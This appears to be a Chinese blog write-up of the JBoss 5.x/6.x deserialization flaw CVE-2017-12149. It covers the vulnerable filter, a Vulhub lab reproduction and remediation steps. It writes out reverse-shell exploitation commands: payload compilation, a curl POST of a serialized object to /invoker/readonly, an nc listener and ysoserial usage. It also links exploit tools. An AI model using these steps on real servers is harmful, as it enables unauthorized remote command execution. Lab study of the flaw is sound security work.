渗透测试-JBoss 5.x/6.x反序列化漏洞

简介: 渗透测试-JBoss 5.x/6.x反序列化漏洞

渗透测试-JBoss 5.x/6.x反序列化漏洞概述
2017年8月30日,Redhat公司发布了一个JbossAS 5.x系统的远程代码执行严重漏洞通告,相应的漏洞编号为 CVE-2017-12149。近期有安全研究者发现JbossAS 6.x也受该漏洞影响,攻击者可能利用此漏洞无需用户验证在系统上执行任意命令。

类型 描述
漏洞名称 JBOSSAS5.x/6.x反序列化命令执行漏洞
威胁类型 远程命令执行
威胁等级 高
漏洞ID CVE-2017-12149
受影响系统及应用版本 Jboss AS 5.x、Jboss AS 6.x
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

漏洞分析
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。

概念 描述
Java序列化 把Java对象转换为字节序列的过程
Java反序列化 指把字节序列恢复为Java对象的过程
Java序列化与反序列化作用 便于保存数据,或者进行数据传输
来看一段Java序列化和反序列化的代码实例:

1、序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
2、反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();
1
2
3
4
5
6
7
8
CVE-2017-12149 漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在 jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:
可以看到,该过程反序列化时直接从 http 中获取数据,在没有进行检查或者过滤的情况下,尝试调用 readobject() 方法对数据流进行反序列操作,因此产生了Java反序列化漏洞。

攻击方法
攻击者只需要构造带有需要执行Payload的 ser 文件,然后使用 curl 将二进制文件提交至目标服务器的invoker/readonly页面中,即可执行Payload中指定的命令,获取对电脑的控制权。

攻击示例代码如下:

//编译预置payload的java文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

//反弹shell的IP和端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 1.1.1.1:6666

//使用curl向/invoker/readonly提交payload
curl http://192.268.197.25:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
1
2
3
4
5
6
7
8
漏洞复现
以下漏洞复现过程基于 Ubuntu 虚拟机,使用 Vulhub 靶场集成环境,并使用 Kali 作为攻击机进行漏洞利用和攻击。

1、在 Ubuntu 靶机的 Vulhub 对应路径下执行以下命令,运行靶场容器:
2、环境已搭建好,访问Jboss服务器试试:

3、在 Kali 攻击机访问 JBoss漏洞页面,http://192.168.43.221:8080/invoker/readonly(响应码500,证明漏洞存在):
4、此时也可以使用 Nmap 进行端口扫描:

POC脚本
下载漏洞利用脚本到本地(有兴趣可自行阅读源码): http://scan.javasec.cn/java/JavaDeserH2HC.zip。

1、编译预置 Payload 的 Java 文件(需要 Java 环境,Kali 下如果 javac 命令无法执行请参考修复方案 Kali安装JDK):

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
1
如下图所示:
2、运行以下命令,反弹 Shell 的IP( Kali 攻击机的IP)和端口:

3、以上就会将序列化对象保存在ReverseShellCommonsCollectionsHashMap.ser中,后面用 curl 命令将其发送到Jboss 服务地址即可,在此之前需要先在 Kali 终端运行 nc 命令,进入监听 6666 端口的状态:

4、使用 curl 命令向http://192.168.43.221:8080/invoker/readonly提交payload(上面生成的反序列化对象):
5、此时刚才 Kali 开启的监听 6666 端口的终端即可获得反弹 Shell:

至此成功反弹 Shell ,可远程执行命令,漏洞利用成功。

Curl 命令
上面提及了 curl 命令,此处进行简单的补充介绍一下。

命令实例 释义
curl https://www.123.com 向www.123.com发出 GET 请求,服务器返回的内容会在命令行输出。
curl -d ‘login=emma&password=123’ https://google.com/login -d参数用于发送 POST 请求的数据体
curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思。它的功能非常强大,命令行参数多达几十种。如果熟练的话,完全可以取代 Postman 这一类的图形界面工具。更多用法请参见博文:curl 的用法指南。

官方教程
Vulhub官方也给出了漏洞复现教程CVE-2017-12149,因为该过程更能直观了解该漏洞利用过程中反弹 Shell 的本质,故下面进行复现演示。

1、使用Bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等Bash需要的方法,需要进行一次编码(编码工具地址),编码如下:

2、先下载用来复现生成序列化数据的工具 ysoserial(下载地址):

下载后的文件如下:
3、需要在以上文件夹路径下打开终端,执行命令mvn package -D skipTests,生成 ysoserial-0.0.6-SNAPSHOT-all.jar 文件(如果出现bash: mvn: command not found的问题是因为kali未安装maven):

ysoserial 的用法:java -jar ysoserial.jar [payload] ‘[command]’

参数 释义
payload 利用库,根据服务器端程序版本不同而不同,若如报错,可尝试跟换其他利用库
command 待执行的命令
4、开始生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的 gadget 是 CommonsCollections5:
5、此时在当前目录下生成了序列化数据 exp.ser,打开攻击机的nc,监听 9999 端口:

6、接着使用 curl 命令,将申城的序列化数据以POST的形式发送给 Ubuntu 靶机的 JBoss 服务器:
7、此时 Kali 攻击机的 nc 监听终端即可成功接收到反弹的 Shell:

至此,JBoss 5.x/6.x反序列化漏洞攻击结束。

工具利用
上面基于POC脚本的方式可能不太方便,该漏洞已有现成的图形化利用工具。工具下载:https://github.com/yunxu1/jboss-_CVE-2017-12149。
此处将以上开源漏洞利用工具下载至 Win 10物理机并运行,检测并利用漏洞如下:

修复方法
1、升级JBoss中间件版本,避免使用Jboss AS 5.x、Jboss AS 6.x ;

2、不需要 http-invoker.sar 组件的用户可直接删除此组件;

3、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制: /*。
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_39190897/article/details/107184574漏洞

目录
相关文章
|
7月前
|
SQL 安全 关系型数据库
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
591 9
|
2月前
|
安全 程序员 网络安全
Kali渗透测试:对软件的溢出漏洞进行测试
Kali渗透测试:对软件的溢出漏洞进行测试
40 1
|
2月前
|
安全 网络协议 Linux
Kali渗透测试:使用Armitage针对漏洞进行攻击
Kali渗透测试:使用Armitage针对漏洞进行攻击
78 0
|
3月前
|
安全 网络安全 数据安全/隐私保护
渗透测试-Openssl心脏出血漏洞复现
渗透测试-Openssl心脏出血漏洞复现
147 7
|
3月前
|
安全 测试技术 Linux
CentOS7 安装vulhub漏洞测试环境
CentOS7 安装vulhub漏洞测试环境
124 0
|
4月前
|
安全 应用服务中间件 网络安全
Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
57 11
|
4月前
|
安全 测试技术 网络安全
|
5月前
|
安全 测试技术 网络安全
探索自动化测试:从理论到实践网络防御的盾牌与剑:漏洞解析与加密技术实战
【7月更文挑战第31天】在软件工程领域,自动化测试是确保产品质量和提升开发效率的关键工具。本文将深入探讨自动化测试的核心概念、优势以及面临的挑战,并通过一个具体的代码示例来展示如何在实际项目中实施自动化测试。我们将看到,通过采用恰当的策略和技术,自动化测试不仅能够提高测试覆盖率,还可以缩短反馈周期,从而加速迭代速度。 【7月更文挑战第31天】在数字世界的无垠战场上,网络安全和信息安全是守护数据宝藏的盾牌与剑。本文将深入探讨网络安全的脆弱点,揭示加密技术的奥秘,并唤醒每一位数字时代居民的安全意识。通过代码示例和案例分析,我们将一起穿梭在信息的海洋中,学习如何铸造坚不可摧的防御,以及如何运用高超
84 0
|
7月前
|
SQL 安全 测试技术
渗透测试基础之永恒之蓝漏洞复现
对于当下来说我们使用的电脑大多是win11或是win10,还是有很多政府和公司,或是学校中使用的系统还停留在win7系统.今天是我进行渗透测试的第一次实战,通过永恒之蓝漏洞利用对win7系统进行渗透,当然也会对渗透测试的流程进行一个详细的介绍.,渗透测试的流程信息较为详细,内容较多,如果想看实战流程,直接通过通过这次的渗透测试,虽然不是对web间进行渗透测试,但是通过实战能够使我能够熟悉渗透测试的流程,当然在实践过程中也出现了很多问题,例如从kali上传文件到win主机路径出现问题,配置攻击模块时将ip地址设置错误,但在我不断的思考和尝试下,最终解决了问题,对于我的解决问题的能力也是一种提升.
363 3
|
7月前
|
安全 数据管理 测试技术
网络安全与信息安全:防范漏洞、加强加密与提升安全意识深入探索自动化测试框架的设计原则与实践应用化测试解决方案。文章不仅涵盖了框架选择的标准,还详细阐述了如何根据项目需求定制测试流程,以及如何利用持续集成工具实现测试的自动触发和结果反馈。最后,文中还将讨论测试数据管理、测试用例优化及团队协作等关键问题,为读者提供全面的自动化测试框架设计与实施指南。
【5月更文挑战第27天】 在数字化时代,网络安全与信息安全已成为维护国家安全、企业利益和个人隐私的重要环节。本文旨在分享关于网络安全漏洞的识别与防范、加密技术的应用以及提升安全意识的重要性。通过对这些方面的深入探讨,我们希望能为读者提供一些实用的建议和策略,以应对日益严峻的网络安全挑战。 【5月更文挑战第27天】 在软件开发周期中,自动化测试作为保障软件质量的关键步骤,其重要性日益凸显。本文旨在剖析自动化测试框架设计的核心原则,并结合具体案例探讨其在实际应用中的执行策略。通过对比分析不同测试框架的优缺点,我们提出一套高效、可扩展且易于维护的自动